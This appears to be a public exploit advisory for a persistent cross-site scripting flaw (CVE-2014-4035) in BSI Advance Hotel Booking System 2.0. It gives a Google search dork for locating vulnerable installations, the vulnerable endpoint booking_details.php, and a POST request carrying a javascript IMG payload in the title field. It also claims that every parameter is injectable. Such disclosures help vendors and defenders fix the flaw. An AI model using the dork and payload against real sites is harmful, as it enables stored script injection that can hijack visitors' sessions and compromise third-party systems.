BSI Advance Hotel Booking System 2.0 - 'booking_details.php Persistent Cross-Site Scripting

# Exploit Title:BSI Advance Hotel Booking System Persistent XSS
# Google Dork: intext:Hotel Booking System v2.0 © 2008 - 2012 Copyright Best Soft Inc
# Date: Wed Jun 4 2014
# Exploit Author: Angelo Ruwantha
# Vendor Homepage: http://www.bestsoftinc.com
# Software Link: http://www.bestsoftinc.com/php-advance-hotel-booking-system.html
# Version: V2.0
# Tested on: archlinux
# CVE : CVE-2014-4035

Vulnerability
========================

[+]Method:POST

1.http://URL/hotel-booking/booking_details.php (;persistent XSS)

allowlang=&title=<IMG SRC="javascript:alert('HelloWorld ;)');"&fname=&lname=&str_addr=&city=&state=&zipcode=&country=&phone=&fax=&email=&payment_type=&message=&tos=


every parameter injectable :)